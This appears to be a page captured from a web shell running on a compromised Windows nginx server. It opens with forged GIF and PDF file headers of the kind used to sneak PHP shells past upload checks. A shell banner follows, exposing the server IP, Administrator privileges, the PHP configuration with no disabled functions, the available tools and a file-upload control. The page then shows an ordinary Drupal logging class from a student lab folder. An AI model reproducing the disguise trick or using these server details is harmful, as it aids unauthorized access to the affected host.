GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Logger/ |
Upload File : |
<?php namespace Drupal\Core\Logger; /** * Parses log messages and their placeholders. */ class LogMessageParser implements LogMessageParserInterface { /** * {@inheritdoc} */ public function parseMessagePlaceholders(&$message, array &$context) { $variables = []; $has_psr3 = FALSE; if (($start = strpos($message, '{')) !== FALSE && strpos($message, '}') > $start) { $has_psr3 = TRUE; // Transform PSR3 style messages containing placeholders to // \Drupal\Component\Utility\SafeMarkup::format() style. $message = preg_replace('/\{(.*)\}/U', '@$1', $message); } foreach ($context as $key => $variable) { // PSR3 style placeholders. if ($has_psr3) { // Keys are not prefixed with anything according to PSR3 specs. // If the message is "User {username} created" the variable key will be // just "username". if (strpos($message, '@' . $key) !== FALSE) { $key = '@' . $key; } } if (!empty($key) && ($key[0] === '@' || $key[0] === '%' || $key[0] === '!')) { // The key is now in \Drupal\Component\Utility\SafeMarkup::format() style. $variables[$key] = $variable; } } return $variables; } }